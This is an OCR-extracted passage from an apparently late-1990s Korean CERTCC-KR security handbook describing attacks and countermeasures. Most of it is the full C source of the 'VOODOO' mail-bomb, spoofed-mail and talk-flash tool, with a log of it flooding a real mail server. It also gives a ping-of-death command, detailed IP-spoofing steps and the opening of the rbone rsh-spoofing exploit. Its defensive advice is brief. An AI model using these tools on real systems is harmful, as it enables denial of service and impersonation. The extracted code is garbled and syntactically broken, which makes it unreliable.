[VOODOO] Sleeping to make sure data is sent.

[VOODOO] Mailing #5 has been sent.

[VOODOO] Connecting to SMTP Server: www.certcc.or.kr.

[VOODOO] Sending mail to: [email protected]

[VOODOO] Sleeping to make sure data is sent.

[VOODOO] Mailing #6 has been sent.

[VOODOO] Connecting to SMTP Server: www.certcc.or.kr.

[VOODOO] Sending mail to: [email protected]

[VOODOO] Sleeping to make sure data is sent.

[VOODOO] Mailing #7 has been sent.

Page 442: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

[VOODOO] Connecting to SMTP Server: www.certcc.or.kr.

[VOODOO] Sending mail to: [email protected]

[VOODOO] Sleeping to make sure data is sent.

[VOODOO] Mailing #8 has been sent.

[VOODOO] Connecting to SMTP Server: www.certcc.or.kr.

[VOODOO] Sending mail to: [email protected]

[VOODOO] Sleeping to make sure data is sent.

[VOODOO] Mailing #9 has been sent.

[VOODOO] Connecting to SMTP Server: www.certcc.or.kr.

[VOODOO] Sending mail to: [email protected]

[VOODOO] Sleeping to make sure data is sent.

[VOODOO] Mailing #9 has been sent.

Page 443: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

[VOODOO] Connecting to SMTP Server: www.certcc.or.kr.

[VOODOO] Sending mail to: [email protected]

[VOODOO] Sleeping to make sure data is sent.

[VOODOO] Mailing #10 has been sent.

[VOODOO] Mail bomb finished.

#

────────────────────────────

Mailbox is '/var/mail/kadosu' with 41 messages [ELM 2.4 PL21-h4]

N 1 Dec 6 [email protected] (12) bomb./voodoo

N 2 Dec 6 [email protected] (12) bomb./voodoo

N 3 Dec 6 [email protected] (12) bomb./voodoo

N 4 Dec 6 [email protected] (12) bomb./voodoo

N 5 Dec 6 [email protected] (12) bomb./voodoo

N 6 Dec 6 [email protected] (12) bomb./voodoo

O 7 Dec 6 [email protected] (12) bomb./voodoo

O 8 Dec 6 [email protected] (12) bomb./voodoo

O 9 Dec 6 [email protected] (12) bomb./voodoo

10 Dec 6 [email protected] (12) bomb./voodoo

O 11 Dec 6 CHAEHO LIM (78) 문의 사항 (fwd)

O 12 Dec 5 David Crawford (307) CIAC Bulletin H-09: HP 9000

Access V

OM 13 Dec 5 Yuri Volobuev (68) suid_exec problem

clarification

O 14 Dec 6 CHAEHO LIM (275) Re:

=?iso-8859-1?Q?=BE=C6=C1=F7=C0=B

OM 15 Dec 5 SGI Security Coord (396) SGI Security Advisory

19961201-01-PX

O 16 Dec 5 Paul B. Henson (43) Re: Solaris 2.x Vulnerability

[/usr/

OM 17 Dec 6 Kari E. Hurtta (58) Re: Irix: suid_exec hole

OM 18 Dec 5 Kevin L Prigge (53) Re: Solaris 2.x Vulnerability

[/usr/

OM 19 Dec 5 Terrell Thacker (69) Re: Solaris 2.x Vulnerability

[/usr/

OM 20 Dec 5 Jody L. Baze (63) Re: Solaris 2.x Vulnerability

[/usr/

Page 444: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

O 21 Dec 5 Paul B. Henson (53) Re: Solaris 2.x Vulnerability

[/usr/

You can use any of the following commands by pressing the first

character;

d)elete or u)ndelete mail, m)ail a message, r)eply or f)orward mail,

q)uit

To read a message, press <return>. j = move down, k = move up, ? =

help

Command:

─────────────────────────────

15:16:31.005723 203.227.32.14.1961 > www.certcc.or.kr.smtp: S

1311744630:1311744630(0) win 512 <mss 1460>

15:16:31.042960 flat.35543 > 203.227.32.14.telnet: . ack 812 win 8760

(DF)

15:16:31.043493 203.227.32.14.telnet > flat.35543: P 812:869(57) ack 218

win 15360 (DF)

15:16:31.093034 flat.35543 > 203.227.32.14.telnet: . ack 869 win 8760

(DF)

15:16:31.112652 www.certcc.or.kr.smtp > 203.227.32.14.1961: S

984983080:984983080(0) ack 1311744631 win 8760 <mss 1460> (DF)

15:16:31.112905 203.227.32.14.1961 > www.certcc.or.kr.smtp: . ack 1 win

15360

15:16:31.113772 203.227.32.14.telnet > flat.35543: P 869:919(50) ack 218

win 15360 (DF)

15:16:31.114295 203.227.32.14.1961 > www.certcc.or.kr.smtp: P 1:178(177)

ack 1 win 15360 (DF)

15:16:31.162936 flat.35543 > 203.227.32.14.telnet: . ack 919 win 8760

(DF)

15:16:31.163431 203.227.32.14.telnet: flat.35543: P 919:967(48) ack 218

win 15360 (DF)

15:16:31.212944 flat.35543 > 203.227.32.14.telnet: . ack 967 win 8760

(DF)

15:16:31.788928 www.certcc.or.kr.smtp > 203.227.32.14.1961: . ack 178

win 8760 (DF)

15:16:35.767315 203.227.32.14.1959 > 203.227.32.255.Sunrpc: udp 100

15:16:41.106510 203.227.32.14.telnet: flat.35543: P 967:1005(38) ack

218 win 15360 (DF)

Page 445: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

15:16:41.152731 flat.35543 > 203.227.32.14.telnet: . ack 1005 win 8760

(DF)

15:16:41.153315 203.227.32.14.telnet: flat.35543: P 1005:1066(61) ack

218 win 15360 (DF)

15:16:41.184681 203.227.32.14.1963 > www.certcc.or.kr.smtp: S

4148111448:4148111448(0) win 512 <mss 1460>

해킹흔적 확인방법

- 공개용 mail bomb detection 프로그램을 구하여 설치한다.

방지기술

패치설치

임시조치

- 최신의 sendmail을 설치하고 적절한 필터링 규칙을 적용시킨다.

- 기타 공개용 mail bomb protection 프로그램을 구하여 설치한다.

- 중요 시스템과 별도로 메일서버를 따로 운영한다.

Page 446: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/*

Vassago's VOODOO UNIX v1.01b

Copyright (c) 1996 Ryan Addams, All Rights Reserved.

*/

#include <sys/types.h>

#include <time.h>

#include <stdio.h>

#include <stdlib.h>

#include <sys/time.h>

#include <sys/param.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

#include <stdarg.h>

#include <string.h>

#include <ctype.h>

#include <unistd.h>

#include <arpa/inet.h>

#define DEFAULT_SENT 99

#define SLEET_TIME 10

#define MAX_INPUT_LENGTH 256

#define FALSE 0

#define TRUE 1

#define VERSION "VOODOO UNIX v1.01b by Vassago."

#define MAX_FLASHSTR 6

#define SMTP_PORT 25

#define MAX_CRAP 10000

#define TALK_VERSION 1

#define LEAVE_INVITE 0

#define LOOK_UP 1

#define DELETE 2

Page 447: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#define ANNOUNCE 3

#define OLD_NAME_SIZE 9

#define NAME_SIZE 12

#define TTY_SIZE 16

#define LOWER(c) ((c) >= 'A' && (c) <= 'Z' ? (c)+'a'-'A' : (c))

#define UPPER(c) ((c) >= 'a' && (c) <= 'z' ? (c)+'A'-'a' : (c))

const char * flashstr[] = {

"₩033(0₩033#8",

"₩033[1;3r",

"₩033[1;5m₩033(0",

"**₩030BOO",

"₩033**EMSI_IRQ8E08",

"₩033c₩033(0₩033#8₩033[1;3r₩033[5m₩033[?5h**₩030BOO"

};

typedef unsigned char bool;

typedef struct {

char type;

Page 448: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

char l_name[OLD_NAME_SIZE];

char r_name[OLD_NAME_SIZE];

u_long id_num;

u_long pid;

char r_tty[TTY_SIZE];

struct sockaddr_in addr;

struct sockaddr_in ctl_addr;

} OLD_MSG;

typedef struct {

u_char vers;

char type;

u_short filler;

u_long id_num;

struct sockaddr_in addr;

struct sockaddr_in ctl_addr;

long pid;

char l_name[NAME_SIZE];

char r_name[NAME_SIZE];

char r_tty[TTY_SIZE];

} CTL_MSG;

void server_connect (char *server, int port);

void mailbomb (char *argument);

void fakemail (char *argument);

bool is_number(char *argu);

int number_range(int from, int to);

long number_mm(void);

char *one_argument(char *argument, char *arg_first);

char *randcrap(int num);

void pop(char *hostname, char *username);

void flash(char *argument);

void SendTalkPacket(struct sockaddr_in *target, char *p, int psize);

void new_ANNOUNCE(char *hostname, char *remote, char *local);

void old_ANNOUNCE(char *hostname, char *remote, char *local);

/*int seed = Ox2837;*/

int current = 1;

int thesock;

Page 449: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

char *randcrap(int num) {

char buf [num+1];

register int i, c=0;

char rcrapcrap[82];

if (num <= 0)

return NULL;

sprintf(rcrapcrap, "abcd efg hij klmn opq rstu vwx yzABC DEF GH IJKL

MNOP QRS TUVW XYZ0 123 456 789₩r")

buf[0] = '₩0';

printf('[VOODOO] Generation random crap... ₩n₩r');

for (i = 0; 1 <= num: i++) {

sprintf(buf, "%s%c", buf, rcrapcrap[number_range(0,62)]);

c++;

if ((c > 68 && number_range(0,10)==10) || c == 78) {

Page 450: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sprintf(buf, "%s₩n₩r" ,buf);

c = 0;

}

}

sprintf(buf, "%s₩n₩r",buf);

return strdup(buf);

}

long number_mm(void)

return rend()>>6;

}

int number_range(int from, int to){

int power;

int number;

if (from == 0 && to == 0)

return 0;

if ((to =to - from +1) <=1)

return from;

for (power =2; power < to; power <<=1);

while ((number = number_mm() & (power -1)) >= to);

return from + number;

}

bool is_number(char *arg){

if (*arg == '₩0')

return FALSE;

if (*arg == '+' || *arg == '-')

arg++;

for (; *arg !='₩0'; arg++){

if (!isdigit(*arg))

return FALSE;

}

return TRUE;

}

char *one_argument(char *argument, char *arg_first){

char cEnd;

Page 451: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

while(isspace(*argument))

argument++;

cEnd = ' ';

if (*argument == '₩''|| *argument == '"')

cEnd = *argument++;

while (*argument != '₩0'){

if (*argument == cEnd){

argument++;

break;

}

*arg_first = LOWER(*argument);

arg_first++;

argument++;

}

*arg_first = '₩0';

Page 452: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

while (isspace(*argument))

argument++;

return argument;

}

void server_connect(char *server, int port){

struct sockaddr_in sin;

struct hostent *hp;

hp = gethostbyname(server);

if (hp == NULL){

printf("[V00D00] Unknown host: %s₩n₩r₩n₩r",server);

exit(1);

}

if (port <= 0){

printf("[V00D00] Bad port number: %d₩n₩r₩n₩r",port);

exit(1);

}

memset((char *) &sin, 0, sizeof(sin));

memmove((char *) &sin.sin_addr, hp->h_addr, hp->length);

sin.sin_family = hp->h_addrtype;

sin.sin_port = htons(port);

thesock = socket(AF_INET, SOCK_STREAM, 0);

connect(thesock,(struct sockaddr *) &sin, sizeof(sin));

return;

}

void main(int argc, char **argv){

register int i;

char argument [MAX_INPUT_LENGTH];

printf("₩n₩r%s₩n₩r₩n₩r", VERSION);

if (argc == 1){

printf(

"Commands:₩n₩r₩n₩r"

Page 453: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

" mailbomb <smtp server><from addr><to addr>[<# of

times>] [<subject>]₩n₩r"

" fakemail <smtp server><from addr><to addr><textfile>

[<subject>]₩n₩r"

" flash <user@host> [<# of times>]₩n₩r "

"₩n₩r"

);

}

srand(time(NULL) ^ getpid());

argument[0] = '₩0';

if (argc > 1) {

for (i=0; I < argc; i++)

{

strcat(argument, argv[i]);

strcat(argument, " ");

if (i == 0) i++;

Page 454: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

}

if (!strcmp(argv[1], "mailbomb"))

mailbomb(argument);

eles if (!strcmp(argv[1], "fakemail"))

fakemail(argument);

eles if (!strcmp(argv[1], "flash"))

flash(argument);

else {

printf(

"Commands:₩n₩r₩n₩r"

"mailbomb <smtp server><from addr><to addr>[<# of

times>] [<subject>]₩n₩r"

" fakemail <smtp server><from addr><to addr><textfile>

[<subject>]₩n₩r"

" flash <user@host> [<# of times>]₩n₩r "

"₩n₩r"

);

exit(1);

}

}

exit(0);

}

void mailbomb(char *argument) {

char subj[MAX_INPUT_LENGTH];

char buf[MAX_STRING_LENGTH*4];

char message[MAX_STRING_LENGTH*2];

char arg0[MAX_INPUT_LENGTH];

char arg1[MAX_INPUT_LENGTH];

char arg2[MAX_INPUT_LENGTH];

char arg3[MAX_INPUT_LENGTH];

char arg4[MAX_INPUT_LENGTH];

int num_sent;

register int i;

argument = one_argument(argument, arg0);

argument = one_argument(argument, arg1);

argument = one_argument(argument, arg2);

argument = one_argument(argument, arg3);

argument = one_argument(argument, arg4);

Page 455: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (arg3 == NULL || arg3[0] == '₩0') {

printf("Usage: %s <SMTP server> <from addr> <to addr> [<#

bombs>] [<₩"subject₩">]₩n₩r₩n₩r", arg0);

exit(0);

}

num_sent - DEFAULT_SENT;

if (arg4 != NULL && arg4[0] != '₩0'){

if (!is_number(arg4)) {

printf("Usage: %s <SMTP server> <from addr> <to addr> [<#

bombs>] [<₩"subject₩">]₩n₩r₩n₩r", arg0);

exit(1);

}num_sent = atoi(arg4);

}

if (argument != NULL && argument[0] != '₩0')

Page 456: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sprintf(subj, "%s", argument);

else

sprintf(subj, "%s", flashstr[number_range(0, (MAX_FLASHSTR-1))]);

sprintf(subj, "%s", flashstr[number_range(MAX_CRAP/2,

MAX_CRAP)));

for (i = 1; i<= num_sent; i++) {

printf("₩n₩r [V00D00] Connecting to SMTP Server: %s.₩n₩r",arg1);

server_connect(arg1, SMTP_PORT);

printf("[V00D00] Sending mail to: %s.₩n₩r",arg3);

sprintf(buf, "helo ₩nmail from: %s₩nrcpt to: %s₩ndata|nSUBJECT:

%s₩n₩n%s₩n.₩nquit₩n",arg2arg3,subj,message);

send(thesock, buf, strlen(buf), 0);

printf("[V00D00] Sending to make sure data is sent.₩n₩r")

sleep(SLEEP_TIME);

printf("[V00D00] Mailing #%d has been sent.₩n₩r",i)

}

printf("[V00D00] Mail bomb finished.₩n₩r₩n₩r")

return;

}

void fakemail(char *argument) {

FILE *text;

char subj[MAX_INPUT_LENGTH];

char buf[MAX_STRING_LENGTH*10];

char message[MAX_STRING_LENGTH*9];

char arg0[MAX_INPUT_LENGTH];

char arg1[MAX_INPUT_LENGTH];

char arg2[MAX_INPUT_LENGTH];

char arg3[MAX_INPUT_LENGTH];

char arg4[MAX_INPUT_LENGTH];

register int position = 0;

argument = one_argument(argument, arg0);

argument = one_argument(argument, arg1);

argument = one_argument(argument, arg2);

argument = one_argument(argument, arg3);

argument = one_argument(argument, arg4);

Page 457: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (arg4 == NULL || arg4[0] == '₩0') {

printf("Usage: %s <SMTP server><from addr><to addr><file>

[<₩"subject₩">]₩n₩r₩n₩r",arg0);

exit(0);

}

if ((text = fopen(arg4, "r")) == NULL){

printf("[V00D00] Text file %s not found, no mail

sent.₩n₩r₩n₩r",arg4);

exit(1);

}

printf("[V00D00] Reading text file %s into memory...₩n₩r",arg4);

while(fscanf(text, "%c", &message[position]) != EOF)

position++;

fclose(text);

if (argument != NULL && argument[0] != '₩0')

sprintf(subj, "%s", argument);

else

sprintf(subj, "<no subject>");

Page 458: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

printf("[V00D00] Connecting to SMTP Server : %s.₩n₩r",arg1);

server_connect(arg1, SMTP_PORT);

printf("[V00D00] Sending mail to : %s.₩n₩r",arg3);

sprint(buf, "helo ₩nmail from: %s₩nrcpt to: %s₩ndata₩nSUBJECT;

%s₩n₩n%s₩n.₩nquit₩n",arg2arg3,subj,message);

send(thesock, buf, strlen(buf), 0);

printf("[V00D00] Sending to make sure data is sent.₩n₩r");

sleep(SLEEP_TIME);

printf("[V00D00] Fake Mailing finished.₩n₩r₩n₩r");

return;

}

struct sockaddr_in *getinaddr(char *hostname, u_shor port){

static struct sockaddr addr;

stuct sockaddr_in *address;

struct hostent *host;

address = (struct sockaddr_in *)&addr;

(void) memset((char *)address, 0, sizeof(struct sockaddr_in));

address->sin_family = AF+INET;

address->sin_port = htons(port);

address->sin_addr.s_addr = inet_addr(hostname);

if ((int)address->sin_addr.s_addr == -1) {

host = gethostbyname(hostname);

if (host) {

memmove((char *)&address->sin_addr, host->h_addr,

host->h_length);

}

else{

printf("[V00D00] Could not find address:

%s.₩n₩r₩n₩r",hostname);

exit(1);

return (struct sockaddr_in *)0;

}

}

return (struct sockaddr_in *)address;

}

void SendTalkPacket(struct sockaddr_in *target, char *p, int psize){

int s;

Page 459: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

struct sockaddr sample;

s = socket(AF_INET, SOCK_DGRAM, 0);

sendto(s, p, psize, 0,(struct sockaddr *)target, sizeof(sample));

return;

}

void new_ANNOUNGE(char *hostname, char *remote, char *local){

CTL_MSG packet;

struct sockaddr_in *address;

address = getinaddr(hostname, 666 );

address->sin_family =htons(AF_INET);

memset((char *)&packet, 0, sizeof(packet));

packet.vers = TALK_VERSION;

packet.type = ANNOUNCE ;

packet.pid = getpid();

packet.id_num = current;

memmove((char *)&packet.addr, (char *)address, sizeof(packet.addr));

Page 460: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

memmove((char *)&packet.ctl_addr, (char *)address,

sizeof(packet.ctl_addr));

strncpy(packet.l_name, local, NAME_SIZE);

strncpy(packet.r_name, remote, NAME_SIZE);

strncpy(packet.r_rry, "", 1);

SendTalkPacket(getinaddr(hostname, 518), (char *)&packet,

sizeof(packet));

return;

}

void new_ANNOUNGE(char *hostname, char *remote, char *local){

OLD_MSG packet;

struct sockaddr_in *address;

address = getinaddr(hostname, 666 );

address->sin_family =htons(AF_INET);

memset((char *)&packet, 0, sizeof(packet));

packet.type = ANNOUNCE;

packet.pid = getpid();

packet.id_num = current;

memmove((char *)&packet.addr, (char *)address, sizeof(packet.addr));

memmove((char *)&packet.ctl_addr, (char *)address,

sizeof(packet.ctl_addr));

strncpy(packet.l_name, local, NAME_SIZE);

strncpy(packet.r_name, remote, NAME_SIZE);

strncpy(packet.r_rry, "", 1);

SendTalkPacket(getinaddr(hostname, 517), (char *)&packet,

sizeof(packet));

return;

}

void pop(char *hostname, char *username){

char buf[MAX_INPUT_LENGTH];

sprintf(buf, "%d"%s, number_range(1024, 9999),

flashstr[number_range(0,MAX_FLASHSTR-1)]);

new_ANNOUNCE(hostname, username, buf);

old_ANNOUNCE(hostname, username, buf);

return;

Page 461: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

}

void flash(char *argument) {

register int x,y;

char arg0[MAX_INPUT_LENGTH];

char arg1[MAX_INPUT_LENGTH];

char arg2[MAX_INPUT_LENGTH];

char *hostname;

char *username;

current = 0;

y = DEFAULT_SENT;

argument = one_argument(argument, arg0);

argument = one_argument(argument, arg1);

argument = one_argument(argument, arg2);

username = arg1;

Page 462: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if ((hostname = (char *)strchr(username, '@')) == NULL){

printf("[V00D00] Invalid host name.₩n₩r");

printf("[V00D00] Usage: %s flash<user@host>[<# of

times>].₩n₩r₩n₩r",arg0);

exit(1);

}

*hostname = '₩0';

hostname++;

if (*username == '~')

username++;

if (arg2 != NULL && arg2[0] != '₩0'){

if (!is_number(arg2)) {

printf("[V00D00] Invalid # of flash times.₩n₩r");

printf("[V00D00] Usage: %s flash<user@host>[<# of

times>].₩n₩r₩n₩r",arg0);

exit(1);

}

else

y = atoi(arg2);

}

for(x = 1; x <=y; x++) {

current++;

pop(hostname, username);

printf("[V00D00] Flash #%d has been sent.₩n₩r",x);

}

sleep(1);

printf("[V00D00] Flash Bomb has been completed.₩n₩r₩n₩r");

return;

}

Page 463: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ICMP_echo-*-프로토콜

ICMP_echo-*-protocol

Page 464: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ICMP_echo-*-protocol

ICMP_echo-*-프로토콜

문서번호

KH98-043

문서제목

ICMP_ECHO-*-프로토콜 (ICMP_echo-*-protocol)

관련 응용프로그램

ping

관련 운영체제

Sol 2.5(x86), WinNT, HPUX9.0~10.02

취약점 분석

취약점 이해

- 일부 시스템에서 규정된 패킷 형식에 비해 큰 ICMP echo 패킷을 수신하게 될 경우, 시

스템에서 적절히 처리하지 못하고 시스템이 재부트되거나 중단되어 버린다.

- rfc791에 따르면 정상적인 IP 패킷은 헤더(통상 IP 옵션이 지정되지 않을 경우, 20octet)

를 포함해 65535(216-1) octet을 넘지 못한다. 이 길이를 초과하는 데이터는 보다 작은 깅

이로 분할된 여러개의 패킷으로 나뉘어 보내진다.

취약점 확인 방법

공격수법 분석

공격수법 이해

- 서비스거부(Denial of Service)공격의 일종으로 규정보다 큰 ICMP echo 패킷을 대상 시

스템에 보내 공격대상 시스템을 재부트시키거나 중단시킨다.

- 실제로 ICMP echo 요청은 ICMP 헤더(rfc792)와 ping 요청에 포함된 데이터 octet수를

포함한다. 따라서 데이터 영역에 허용된 최대 길이는 65535 - (20+8) = 65507 octet가

된다.

해킹 소스 프로그램

해킹시험 결과

- 윈도우95 또는 윈도우NT(3.51 또는 4) 시스템에서 다음과 같이 실행한다.

Page 465: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ping -1 65510 target.host.ip address

해킹흔적 확인방법

대응방법

패치 설치

-

임시 조치

- ping 서비스가 반드시 필용하지 않은 경우, 방화벽에서 이를 막는다.

Page 466: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

IP_spoofing-*-프로토콜

IP_spoofing-*-protocol

Page 467: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

IP_spoofing-*-protocol

IP_spoofing-*-프로토콜

문서번호

KH98-044

문서제목

IP_spoofing-*-프로토콜 (IP_spoofing-*-protocol)

관련 응용프로그램

spoof_rsh.c

관련 운영체제

모든 운영체제

취약점 분석

취약점 이해

- ‘spoof'는 ’속이다‘라는 의미이고 IP spoofing은 IP를 속여서 공격하는 기법을 의미한다.

- TCP/IP 프로토콜의 3단게(3-handshake) 접속 절차의 설계상의 인증 기능 취약점을 이

용하여 자신의 IP주소를 위장하여 접속을 맺을 수 있다.

- 현재 알려진 IP spoofing을 응용한 공격에는 다음과 같은 것들이 있다

ㆍ 순서제어번호 추측(Sequence number guessing)

ㆍ 반(Half)접속시도 공격(SYN flooding)

ㆍ 접속가로채기(Connection hijacking)

ㆍ RST를 이용한 접속끊기(Connection kiling by RST)

ㆍ FIN을 이용한 접속끊기(Connection kiling by FIN)

ㆍ SYN/RST패킷 생성공격(SYN/RST generation)

ㆍ 네트워크 데몬 정지(killing the INETD)

ㆍ TCP 윈도우 위장(TCP window spoofing)

취약점 확인 방법

해킹수법분석

공격수법 이해

- IP 위장(spoofing)은 일반적으로 케빈미트닉이 사용한 방법을 의미하며 순서제어번호추

측, 반(Half)접속시도공격 등을 함께 사용하여 접속하는 고난도의 수법으로서 다음과 같은

절차를 거친다. 다음에서 A는 클라이언트, B는 서버, C는 공격자를 의미한다.

Page 468: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

1. 공격자 C는 A로 자신의 IP주소를 위장하여 SYN를 보내 접속을 요청한다. A는 접속 요

청에 대한 응답으로 C에 ACK와 함께 자신의 SYN을 전송하지만 C가 이에 대해 ACK를 보

내지 않으면 A는 자신이 보낸 ACK에 대한 C의 응답을 기다리게 된다. 이 과정을 연속적

으로 밥복하면 (예를 들어 SunOS의 경우, 약 8개 정도의 SYN패킷을 80초정도 간격으로

전송) A는 외부의 접속요청에 응답할 수 없는 상태가 된다.

2. 공격자 C는 B로 정상적인 접속을 시도하여 순서제어번호의 변화를 관측한다.

3. 추측한 순서제어번호를 이용하여 C는 자신의 IP주소를 A로 가장한후 B에 접속요청

(SYN)을 보낸다. (순서제어번호의 변화는, 예를 들어 4.4BSD에서 OS부팅시 1로 세트되고

0.5초마다 64,000씩 증가한다. 또한 새로운 TCP 접속이 만들어질 때만다 64,000씩 증가

한다.)

4. B는 수신된 SYN 패킷이 A에서 온 것으로 인식하여, A에게 ACK와 새로운 SYN를 보내

지만 이미 A는 외부와 통신불능 상태이므로 응답을 할 수 없게 된다. (만일 A가 C보다 먼

저 응답하여 RST을 보내게되면 C의 공격을 실패한다.)

5. C는 자신의 IP 주소를 A주소로 위장하여 추측된 순서제어번호를 이용해 B가 A로 보낸

SYN/ ACK에 대한 ACK를 B에 보낸다.

6. 결국 C와 Brks에 접속이 이루어지지만, B와 A는 연결되어 있는 것으로 착각한다.

해킹 소스 프로그램

- 첨부

해킹시험 결과

ping -1 65510 target.host.ip address

해킹흔적 확인방법

- 이 수법은 주로 호스트간의 신뢰관계를 이용하기 위한 수단으로 이용되므로

/etc/hosts.equiv 또는 .rhosts 파일이 불법적으로 추가 또는 변경되지 않았는지 확인한다.

대응방법

- 패킷 필터링을 사용하여 외부에서 들어오는 패킷중에서 소스 IP의 주소가 내부망의 주소

인 패킷을 막는다.

- 그러나 내부 사용자가 내부 호스트 대해 공격하는 것은 패킷 필터링으로 막을 수 없으므

로 호스트 보안차원에서 TCP-wapper를 설치하거나 /etc/inetd.conf 파일을 수정하여 rsh,

rlogin 등의 인증 과정을 거치지 않는 서비스들을 차단시킬 필요가 있다.

Page 469: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Sourcel

관련소스

/* rbone - v0.0 - Michael R. Widener (atreus) - a/19/95

* [email protected] - [email protected]

*

* rbone uses tcp sequence guessing to spoof a connection to the remote

* shell port (rsh, 514, etc.) and abuse a . rhosts file. The user of

* rbone must know pretty much an exact entry in an rhosts file. Sometimes

* this is easy to determine. Sometimes it's a little harder. The

* clever [cr|h]acker can figure it out, otherwise the brute force approach

* works for those that are really persistent.

*

